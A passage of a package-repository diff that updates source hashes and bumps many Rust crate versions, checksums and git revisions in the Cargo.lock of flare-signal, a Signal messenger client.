"1.11.59"; "hashes" = { - "desktopSrcHash" = "sha256-U1Koq+YrTQnbJAQmMuBioU6lxtw3oH9U3W3iMIDbibY="; - "desktopYarnHash" = "03kx7g1fhm4qn6iq450156fgw1x6bf0sngmqhd2hrhp699mjxs5s"; - "webSrcHash" = "sha256-ZoB6ALNUDYh8nYUYsPNeiCaXn3qvg3NRJzDRJaHT4oU="; - "webYarnHash" = "0vznx306p3racnq5xv27ywvlrdxql9x8i3fl77i5vlc8g7crpc3m"; + "desktopSrcHash" = "sha256-dasRfLsa8Jc6Vyay02f6IytjvYs3xbSFB2fU5bxi79E="; + "desktopYarnHash" = "00jvid2li68ji1xkbbpdiy39fzvhmw7ypnr3x82wbqqafkc5vil6"; + "webSrcHash" = "sha256-UpRRTPrNiFsqXKD072jXVIqS8ZiuKt/BUzx1oja90VA="; + "webYarnHash" = "1s9lp2dd3slpp70rrbmsbmzphm6fwglnrqwk9fgylzqa1ds8nfjd"; }; } diff --git a/pkgs/applications/networking/instant-messengers/flare-signal/Cargo.lock b/pkgs/applications/networking/instant-messengers/flare-signal/Cargo.lock index c3a79854053e4..f345596ff115f 100644 --- a/pkgs/applications/networking/instant-messengers/flare-signal/Cargo.lock +++ b/pkgs/applications/networking/instant-messengers/flare-signal/Cargo.lock @@ -35,9 +35,9 @@ dependencies = [ [[package]] name = "aes" -version = "0.8.3" +version = "0.8.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ac1f845298e95f983ff1944b728ae08b8cebab80d684f0a832ed0fc74dfa27e2" +checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" dependencies = [ "cfg-if", "cipher", @@ -100,9 +100,9 @@ dependencies = [ [[package]] name = "anstream" -version = "0.6.11" +version = "0.6.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6e2e1ebcb11de5c03c67de28a7df593d32191b44939c482e97702baaaa6ab6a5" +checksum = "96b09b5178381e0874812a9b157f7fe84982617e48f71f4e3235482775e5b540" dependencies = [ "anstyle", "anstyle-parse", @@ -114,9 +114,9 @@ dependencies = [ [[package]] name = "anstyle" -version = "1.0.4" +version = "1.0.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7079075b41f533b8c61d2a4d073c4676e1f8b249ff94a393b0595db304e0dd87" +checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc" [[package]] name = "anstyle-parse" @@ -148,9 +148,9 @@ dependencies = [ [[package]] name = "anyhow" -version = "1.0.79" +version = "1.0.80" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "080e9890a082662b09c1ad45f567faeeb47f22b5fb23895fbe1e651e718e25ca" +checksum = "5ad32ce52e4161730f7098c077cd2ed6229b5804ccf99e5366be1ab72a98b4e1" [[package]] name = "arrayref" @@ -197,13 +197,13 @@ dependencies = [ [[package]] name = "async-channel" -version = "2.1.1" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ca33f4bc4ed1babef42cad36cc1f51fa88be00420404e5b1e80ab1b18f7678c" +checksum = "f28243a43d821d11341ab73c80bed182dc015c514b951616cf79bd4af39af0c3" dependencies = [ "concurrent-queue", - "event-listener 4.0.3", - "event-listener-strategy", + "event-listener 5.1.0", + "event-listener-strategy 0.5.0", "futures-core", "pin-project-lite", ] @@ -230,9 +230,9 @@ dependencies = [ [[package]] name = "async-io" -version = "2.3.0" +version = "2.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb41eb19024a91746eba0773aa5e16036045bbf45733766661099e182ea6a744" +checksum = "8f97ab0c5b00a7cdbe5a371b9a782ee7be1316095885c8a4ea1daf490eb0ef65" dependencies = [ "async-lock 3.3.0", "cfg-if", @@ -240,8 +240,8 @@ dependencies = [ "futures-io", "futures-lite 2.2.0", "parking", - "polling 3.3.2", - "rustix 0.38.30", + "polling 3.5.0", + "rustix 0.38.31", "slab", "tracing", "windows-sys 0.52.0", @@ -263,7 +263,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d034b430882f8381900d3fe6f0aaa3ad94f2cb4ac519b429692a1bc2dda4ae7b" dependencies = [ "event-listener 4.0.3", - "event-listener-strategy", + "event-listener-strategy 0.4.0", "pin-project-lite", ] @@ -280,7 +280,7 @@ dependencies = [ "cfg-if", "event-listener 3.1.0", "futures-lite 1.13.0", - "rustix 0.38.30", + "rustix 0.38.31", "windows-sys 0.48.0", ] @@ -292,7 +292,7 @@ checksum = "5fd55a5ba1179988837d24ab4c7cc8ed6efdeff578ede0416b4225a5fca35bd0" dependencies = [ "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", ] [[package]] @@ -301,13 +301,13 @@ version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9e47d90f65a225c4527103a8d747001fc56e375203592b25ad103e1ca13124c5" dependencies = [ - "async-io 2.3.0", + "async-io 2.3.1", "async-lock 2.8.0", "atomic-waker", "cfg-if", "futures-core", "futures-io", - "rustix 0.38.30", + "rustix 0.38.31", "signal-hook-registry", "slab", "windows-sys 0.48.0", @@ -327,7 +327,7 @@ checksum = "c980ee35e870bd1a4d2c8294d4c04d0499e67bca1e4b5cefcc693c2fa00caea9" dependencies = [ "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", ] [[package]] @@ -369,7 +369,7 @@ dependencies = [ "cc", "cfg-if", "libc", - "miniz_oxide 0.7.1", + "miniz_oxide 0.7.2", "object", "rustc-demangle", ] @@ -472,15 +472,15 @@ dependencies = [ [[package]] name = "bumpalo" -version = "3.14.0" +version = "3.15.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" +checksum = "c764d619ca78fccbf3069b37bd7af92577f044bb15236036662d79b6559f25b7" [[package]] name = "bytemuck" -version = "1.14.0" +version = "1.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "374d28ec25809ee0e23827c2ab573d729e293f281dfe393500e7ad618baa61c6" +checksum = "a2ef034f05691a48569bd920a96c81b9d91bbad1ab5ac7c4616c1f6ef36cb79f" [[package]] name = "byteorder" @@ -530,19 +530,18 @@ dependencies = [ [[package]] name = "cc" -version = "1.0.83" +version = "1.0.86" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" +checksum = "7f9fa1897e4325be0d68d48df6aa1a71ac2ed4d27723887e7754192705350730" dependencies = [ - "jobserver", "libc", ] [[package]] name = "cfg-expr" -version = "0.15.6" +version = "0.15.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6100bc57b6209840798d95cb2775684849d332f7bd788db2a8c8caf7ef82a41a" +checksum = "fa50868b64a9a6fda9d593ce778849ea8715cd2a3d2cc17ffdb4a2f2f2f1961d" dependencies = [ "smallvec", "target-lexicon", @@ -580,9 +579,9 @@ dependencies = [ [[package]] name = "chrono" -version = "0.4.32" +version = "0.4.34" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "41daef31d7a747c5c847246f36de49ced6f7403b4cdabc807a97b5cc184cda7a" +checksum = "5bc015644b92d5890fab7489e49d21f879d5c990186827d42ec511919404f38b" dependencies = [ "android-tzdata", "iana-time-zone", @@ -656,9 +655,9 @@ dependencies = [ [[package]] name = "crc32fast" -version = "1.3.2" +version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" +checksum = "b3855a8a784b474f333699ef2bbca9db2c4a1f6d9088a90a2d25b1eb53111eaa" dependencies = [ "cfg-if", ] @@ -738,7 +737,7 @@ source = "git+https://github.com/signalapp/curve25519-dalek?tag=signal-curve2551 dependencies = [ "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", ] [[package]] @@ -787,7 +786,7 @@ checksum = "487585f4d0c6655fe74905e2504d8ad6908e4db67f744eb140876906c2f3175d" dependencies = [ "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", ] [[package]] @@ -798,15 +797,15 @@ checksum = "56ce8c6da7551ec6c462cbaf3bfbc75131ebbfa1c944aeaa9dab51ca1c5f0c3b" [[package]] name = "either" -version = "1.9.0" +version = "1.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a26ae43d7bcc3b814de94796a5e736d4029efb0ee900c12e2d54c993ad1a1e07" +checksum = "11157ac094ffbdde99aa67b23417ebdd801842852b500e395a45a9c0aac03e4a" [[package]] name = "enumflags2" -version = "0.7.8" +version = "0.7.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5998b4f30320c9d93aed72f63af821bfdac50465b75428fce77b48ec482c3939" +checksum = "3278c9d5fb675e0a51dabcf4c0d355f692b064171535ba72361be1528a9d8e8d" dependencies = [ "enumflags2_derive", "serde", @@ -814,13 +813,13 @@ dependencies = [ [[package]] name = "enumflags2_derive" -version = "0.7.8" +version = "0.7.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f95e2801cd355d4a1a3e3953ce6ee5ae9603a5c833455343a8bfe3f44d418246" +checksum = "5c785274071b1b420972453b306eeca06acf4633829db4223b58a2a8c5953bc4" dependencies = [ "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", ] [[package]] @@ -835,9 +834,9 @@ dependencies = [ [[package]] name = "env_logger" -version = "0.11.0" +version = "0.11.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9eeb342678d785662fd2514be38c459bb925f02b68dd2a3e0f21d7ef82d979dd" +checksum = "6c012a26a7f605efc424dd53697843a72be7dc86ad2d01f7814337794a12231d" dependencies = [ "anstream", "anstyle", @@ -905,6 +904,17 @@ dependencies = [ ] [[package]] +name = "event-listener" +version = "5.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7ad6fd685ce13acd6d9541a30f6db6567a7a24c9ffd4ba2955d29e3f22c8b27" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] name = "event-listener-strategy" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -915,16 +925,26 @@ dependencies = [ ] [[package]] +name = "event-listener-strategy" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "feedafcaa9b749175d5ac357452a9d41ea2911da598fde46ce1fe02c37751291" +dependencies = [ + "event-listener 5.1.0", + "pin-project-lite", +] + +[[package]] name = "exr" -version = "1.71.0" +version = "1.72.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "832a761f35ab3e6664babfbdc6cef35a4860e816ec3916dcfd0882954e98a8a8" +checksum = "887d93f60543e9a9362ef8a21beedd0a833c5d9610e18c67abe15a5963dcb1a4" dependencies = [ "bit_field", "flume", "half", "lebe", - "miniz_oxide 0.7.1", + "miniz_oxide 0.7.2", "rayon-core", "smallvec", "zune-inflate", @@ -978,7 +998,7 @@ checksum = "0ce7134b9999ecaf8bcd65542e436736ef32ddca1b3e06094cb6ec5755203b80" [[package]] name = "flare" -version = "0.12.0" +version = "0.13.0" dependencies = [ "ashpd", "async-trait", @@ -1017,7 +1037,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e" dependencies = [ "crc32fast", - "miniz_oxide 0.7.1", + "miniz_oxide 0.7.2", ] [[package]] @@ -1141,7 +1161,7 @@ checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" dependencies = [ "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", ] [[package]] @@ -1430,11 +1450,11 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0bb0228f477c0900c880fd78c8759b95c7636dbd7842707f49e132378aa2acdc" dependencies = [ "heck 0.4.1", - "proc-macro-crate 2.0.1", + "proc-macro-crate 2.0.2", "proc-macro-error", "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", ] [[package]] @@ -1593,10 +1613,11 @@ dependencies = [ [[package]] name = "half" -version = "2.2.1" +version = "2.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "02b4af3693f1b705df946e9fe5631932443781d0aabb423b62fcd4d73f6d2fd0" +checksum = "bc52e53916c08643f1b56ec082790d1e86a32e58dc5268f897f313fbae7b4872" dependencies = [ + "cfg-if", "crunchy", ] @@ -1647,9 +1668,9 @@ checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" [[package]] name = "hermit-abi" -version = "0.3.4" +version = "0.3.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5d3d0e0f38255e7fa3cf31335b3a56f05febd18025f4db5ef7a0cfb4f8da651f" +checksum = "bd5256b483761cd23699d0da46cc6fd2ee3be420bbe6d020ae4a091e70b7e9fd" [[package]] name = "hex" @@ -1799,9 +1820,9 @@ dependencies = [ [[package]] name = "iana-time-zone" -version = "0.1.59" +version = "0.1.60" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b6a67363e2aa4443928ce15e57ebae94fd8949958fd1223c4cfc0cd473ad7539" +checksum = "e7ffbb5a1b541ea2561f8c41c087286cc091e21e556a4f09a8f6cbf17b69b141" dependencies = [ "android_system_properties", "core-foundation-sys", @@ -1862,16 +1883,16 @@ dependencies = [ "gif 0.12.0", "jpeg-decoder 0.3.1", "num-traits", - "png 0.17.11", + "png 0.17.13", "qoi", "tiff 0.9.1", ] [[package]] name = "indexmap" -version = "2.1.0" +version = "2.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" +checksum = "233cf39063f058ea2caae4091bf4a3ef70a653afbc026f5c4a4135d114e3c177" dependencies = [ "equivalent", "hashbrown", @@ -1932,15 +1953,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" [[package]] -name = "jobserver" -version = "0.1.27" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8c37f63953c4c63420ed5fd3d6d398c719489b9f872b9fa683262f8edd363c7d" -dependencies = [ - "libc", -] - -[[package]] name = "jpeg-decoder" version = "0.1.22" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1960,9 +1972,9 @@ dependencies = [ [[package]] name = "js-sys" -version = "0.3.67" +version = "0.3.68" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9a1d36f1235bc969acba30b7f5990b864423a6068a10f7c90ae8f0112e3a59d1" +checksum = "406cda4b368d531c842222cf9d2600a9a4acce8d29423695379c6868a143a9ee" dependencies = [ "wasm-bindgen", ] @@ -2016,9 +2028,9 @@ dependencies = [ [[package]] name = "libc" -version = "0.2.152" +version = "0.2.153" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7" +checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd" [[package]] name = "libm" @@ -2061,7 +2073,7 @@ dependencies = [ [[package]] name = "libsignal-service" version = "0.1.0" -source = "git+https://github.com/whisperfish/libsignal-service-rs?rev=a2e7540a71866a62028ad0205574a5feb0e717ec#a2e7540a71866a62028ad0205574a5feb0e717ec" +source = "git+https://github.com/whisperfish/libsignal-service-rs?rev=1a8cdf81#1a8cdf81e66477077bd130cdd0313762e3d5e3c8" dependencies = [ "aes", "aes-gcm", @@ -2096,7 +2108,7 @@ dependencies = [ [[package]] name = "libsignal-service-hyper" version = "0.1.0" -source = "git+https://github.com/whisperfish/libsignal-service-rs?rev=a2e7540a71866a62028ad0205574a5feb0e717ec#a2e7540a71866a62028ad0205574a5feb0e717ec" +source = "git+https://github.com/whisperfish/libsignal-service-rs?rev=1a8cdf81#1a8cdf81e66477077bd130cdd0313762e3d5e3c8" dependencies = [ "async-trait", "async-tungstenite", @@ -2280,9 +2292,9 @@ dependencies = [ [[package]] name = "miniz_oxide" -version = "0.7.1" +version = "0.7.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +checksum = "9d811f3e15f28568be3407c8e7fdb6514c1cda3cb30683f15b6a1a1dc4ea14a7" dependencies = [ "adler", "simd-adler32", @@ -2394,28 +2406,27 @@ dependencies = [ [[package]] name = "num-complex" -version = "0.4.4" +version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ba157ca0885411de85d6ca030ba7e2a83a28636056c7c699b07c8b6f7383214" +checksum = "23c6602fda94a57c990fe0df199a035d83576b496aa29f4e634a8ac6004e68a6" dependencies = [ "num-traits", ] [[package]] name = "num-integer" -version = "0.1.45" +version = "0.1.46" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" +checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" dependencies = [ - "autocfg", "num-traits", ] [[package]] name = "num-iter" -version = "0.1.43" +version = "0.1.44" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7d03e6c028c5dc5cac6e2dec0efda81fc887605bb3d884578bb6d6bf7514e252" +checksum = "d869c01cc0c455284163fd0092f1f93835385ccab5a98a0dcc497b2f8bf055a9" dependencies = [ "autocfg", "num-integer", @@ -2447,9 +2458,9 @@ dependencies = [ [[package]] name = "num-traits" -version = "0.2.17" +version = "0.2.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" +checksum = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a" dependencies = [ "autocfg", ] @@ -2482,7 +2493,7 @@ dependencies = [ "proc-macro-crate 1.3.1", "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", ] [[package]] @@ -2634,7 +2645,7 @@ dependencies = [ "cfg-if", "instant", "libc", - "redox_syscall 0.2.16", + "redox_syscall", "smallvec", "winapi", ] @@ -2688,22 +2699,22 @@ dependencies = [ [[package]] name = "pin-project" -version = "1.1.3" +version = "1.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fda4ed1c6c173e3fc7a83629421152e01d7b1f9b7f65fb301e490e8cfc656422" +checksum = "0302c4a0442c456bd56f841aee5c3bfd17967563f6fadc9ceb9f9c23cf3807e0" dependencies = [ "pin-project-internal", ] [[package]] name = "pin-project-internal" -version = "1.1.3" +version = "1.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" +checksum = "266c042b60c9c76b8d53061e52b2e0d1116abc57cefc8c5cd671619a56ac3690" dependencies = [ "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", ] [[package]] @@ -2731,9 +2742,9 @@ dependencies = [ [[package]] name = "pkg-config" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2900ede94e305130c13ddd391e0ab7cbaeb783945ae07a279c268cb05109c6cb" +checksum = "d231b230927b5e4ad203db57bbcbee2802f6bce620b1e4a9024a07d94e2907ec" [[package]] name = "platforms" @@ -2755,15 +2766,15 @@ dependencies = [ [[package]] name = "png" -version = "0.17.11" +version = "0.17.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1f6c3c3e617595665b8ea2ff95a86066be38fb121ff920a9c0eb282abcd1da5a" +checksum = "06e4b0d3d1312775e782c86c91a111aa1f910cbb65e1337f9975b5f9a554b5e1" dependencies = [ "bitflags 1.3.2", "crc32fast", "fdeflate", "flate2", - "miniz_oxide 0.7.1", + "miniz_oxide 0.7.2", ] [[package]] @@ -2795,14 +2806,14 @@ dependencies = [ [[package]] name = "polling" -version = "3.3.2" +version = "3.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "545c980a3880efd47b2e262f6a4bb6daad6555cf3367aa9c4e52895f69537a41" +checksum = "24f040dee2588b4963afb4e420540439d126f73fdacf4a9c486a96d840bac3c9" dependencies = [ "cfg-if", "concurrent-queue", "pin-project-lite", - "rustix 0.38.30", + "rustix 0.38.31", "tracing", "windows-sys 0.52.0", ] @@ -2870,7 +2881,7 @@ checksum = "94e851c7654eed9e68d7d27164c454961a616cf8c203d500607ef22c737b51bb" [[package]] name = "presage" version = "0.6.0-dev" -source = "git+https://github.com/Schmiddiii/presage?rev=75011227faac60773bb1422d365ecc7fed95484a#75011227faac60773bb1422d365ecc7fed95484a" +source = "git+https://github.com/Schmiddiii/presage?rev=03ffb349a125518fdc6087ebfb6a5d82a1600da6#03ffb349a125518fdc6087ebfb6a5d82a1600da6" dependencies = [ "base64", "futures", @@ -2889,7 +2900,7 @@ dependencies = [ [[package]] name = "presage-store-cipher" version = "0.1.0" -source = "git+https://github.com/Schmiddiii/presage?rev=75011227faac60773bb1422d365ecc7fed95484a#75011227faac60773bb1422d365ecc7fed95484a" +source = "git+https://github.com/Schmiddiii/presage?rev=03ffb349a125518fdc6087ebfb6a5d82a1600da6#03ffb349a125518fdc6087ebfb6a5d82a1600da6" dependencies = [ "blake3", "chacha20poly1305", @@ -2906,7 +2917,7 @@ dependencies = [ [[package]] name = "presage-store-sled" version = "0.6.0-dev" -source = "git+https://github.com/Schmiddiii/presage?rev=75011227faac60773bb1422d365ecc7fed95484a#75011227faac60773bb1422d365ecc7fed95484a" +source = "git+https://github.com/Schmiddiii/presage?rev=03ffb349a125518fdc6087ebfb6a5d82a1600da6#03ffb349a125518fdc6087ebfb6a5d82a1600da6" dependencies = [ "async-trait", "base64", @@ -2931,7 +2942,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a41cf62165e97c7f814d2221421dbb9afcbcdb0a88068e5ea206e19951c2cbb5" dependencies = [ "proc-macro2", - "syn 2.0.48", + "syn 2.0.50", ] [[package]] @@ -2946,9 +2957,9 @@ dependencies = [ [[package]] name = "proc-macro-crate" -version = "2.0.1" +version = "2.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "97dc5fea232fc28d2f597b37c4876b348a40e33f3b02cc975c8d006d78d94b1a" +checksum = "b00f26d3400549137f92511a46ac1cd8ce37cb5598a96d382381458b992a5d24" dependencies = [ "toml_datetime", "toml_edit 0.20.2", @@ -3044,7 +3055,7 @@ dependencies = [ "prost 0.12.3", "prost-types 0.12.3", "regex", - "syn 2.0.48", + "syn 2.0.50", "tempfile", "which", ] @@ -3072,7 +3083,7 @@ dependencies = [ "itertools 0.11.0", "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", ] [[package]] @@ -3209,15 +3220,6 @@ dependencies = [ ] [[package]] -name = "redox_syscall" -version = "0.4.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" -dependencies = [ - "bitflags 1.3.2", -] - -[[package]] name = "regex" version = "1.10.3" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3231,9 +3233,9 @@ dependencies = [ [[package]] name = "regex-automata" -version = "0.4.4" +version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3b7fa1134405e2ec9353fd416b17f8dacd46c473d7d3fd1cf202706a14eb792a" +checksum = "5bb987efffd3c6d0d8f5f89510bb458559eab11e4f869acb20bf845e016259cd" dependencies = [ "aho-corasick", "memchr", @@ -3266,16 +3268,17 @@ checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" [[package]] name = "ring" -version = "0.17.7" +version = "0.17.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "688c63d65483050968b2a8937f7995f443e27041a0f7700aa59b0822aedebb74" +checksum = "c17fa4cb658e3583423e915b9f3acc01cceaee1860e33d59ebae66adc3a2dc0d" dependencies = [ "cc", + "cfg-if", "getrandom", "libc", "spin 0.9.8", "untrusted", - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] @@ -3309,9 +3312,9 @@ dependencies = [ [[package]] name = "rustix" -version = "0.38.30" +version = "0.38.31" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "322394588aaf33c24007e8bb3238ee3e4c5c09c084ab32bc73890b99ff326bca" +checksum = "6ea3e1a662af26cd7a3ba09c0297a31af215563ecf42817c98df621387f4e949" dependencies = [ "bitflags 2.4.2", "errno", @@ -3349,9 +3352,9 @@ dependencies = [ [[package]] name = "rustls-pemfile" -version = "2.0.0" +version = "2.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "35e4980fa29e4c4b212ffb3db068a564cbf560e51d3944b7c88bd8bf5bec64f4" +checksum = "3c333bb734fcdedcea57de1602543590f545f127dc8b533324318fd492c5c70b" dependencies = [ "base64", "rustls-pki-types", @@ -3359,15 +3362,15 @@ dependencies = [ [[package]] name = "rustls-pki-types" -version = "1.1.0" +version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9e9d979b3ce68192e42760c7810125eb6cf2ea10efae545a156063e61f314e2a" +checksum = "048a63e5b3ac996d78d402940b5fa47973d2d080c6c6fffa1d0f19c4445310b7" [[package]] name = "rustls-webpki" -version = "0.102.1" +version = "0.102.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ef4ca26037c909dedb327b48c3327d0ba91d3dd3c4e05dad328f210ffb68e95b" +checksum = "faaa0a62740bedb9b2ef5afa303da42764c012f743917351dc9a237ea1663610" dependencies = [ "ring", "rustls-pki-types", @@ -3382,9 +3385,9 @@ checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4" [[package]] name = "ryu" -version = "1.0.16" +version = "1.0.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" +checksum = "e86697c916019a8588c99b5fac3cead74ec0b4b819707a682fd4d23fa0ce1ba1" [[package]] name = "schannel" @@ -3432,35 +3435,35 @@ dependencies = [ [[package]] name = "semver" -version = "1.0.21" +version = "1.0.22" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b97ed7a9823b74f99c7742f5336af7be5ecd3eeafcb1507d1fa93347b1d589b0" +checksum = "92d43fe69e652f3df9bdc2b85b2854a0825b86e4fb76bc44d945137d053639ca" [[package]] name = "serde" -version = "1.0.195" +version = "1.0.197" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "63261df402c67811e9ac6def069e4786148c4563f4b50fd4bf30aa370d626b02" +checksum = "3fb1c873e1b9b056a4dc4c0c198b24c3ffa059243875552b2bd0933b1aee4ce2" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.195" +version = "1.0.197" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "46fe8f8603d81ba86327b23a2e9cdf49e1255fb94a4c5f297f6ee0547178ea2c" +checksum = "7eb0b34b42edc17f6b7cac84a52a1c5f0e1bb2227e997ca9011ea3dd34e8610b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", ] [[package]] name = "serde_json" -version = "1.0.111" +version = "1.0.114" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "176e46fa42316f18edd598015a5166857fc835ec732f5215eac6b7bdbf0a84f4" +checksum = "c5f09b1bd632ef549eaa9f60a1f8de742bdbc698e6cee2095fc84dde5f549ae0" dependencies = [ "itoa", "ryu", @@ -3475,7 +3478,7 @@ checksum = "0b2e6b945e9d3df726b65d6ee24060aff8e3533d431f677a9695db04eff9dfdb" dependencies = [ "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", ] [[package]] @@ -3689,9 +3692,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.48" +version = "2.0.50" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" +checksum = "74f1bdc9872430ce9b75da68329d1c1746faf50ffac5f19e02b71e37ff881ffb" dependencies = [ "proc-macro2", "quote", @@ -3737,35 +3740,34 @@ checksum = "dd16aa9ffe15fe021c6ee3766772132c6e98dfa395a167e16864f61a9cfb71d6" [[package]] name = "tempfile" -version = "3.9.0" +version = "3.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "01ce4141aa927a6d1bd34a041795abd0db1cccba5d5f24b009f694bdf3a1f3fa" +checksum = "a365e8cd18e44762ef95d87f284f4b5cd04107fec2ff3052bd6a3e6069669e67" dependencies = [ "cfg-if", "fastrand 2.0.1", - "redox_syscall 0.4.1", - "rustix 0.38.30", + "rustix 0.38.31", "windows-sys 0.52.0", ] [[package]] name = "thiserror" -version = "1.0.56" +version = "1.0.57" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d54378c645627613241d077a3a79db965db602882668f9136ac42af9ecb730ad" +checksum = "1e45bcbe8ed29775f228095caf2cd67af7a4ccf756ebff23a306bf3e8b47b24b" dependencies = [ "thiserror-impl", ] [[package]] name = "thiserror-impl" -version = "1.0.56" +version = "1.0.57" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fa0faa943b50f3db30a20aa7e265dbc66076993efed8463e8de414e5d06d3471" +checksum = "a953cb265bef375dae3de6663da4d3804eee9682ea80d8e2542529b73c531c81" dependencies = [ "proc-macro2", "quote", - "syn 2.0.48", + "syn 2.0.50", ] 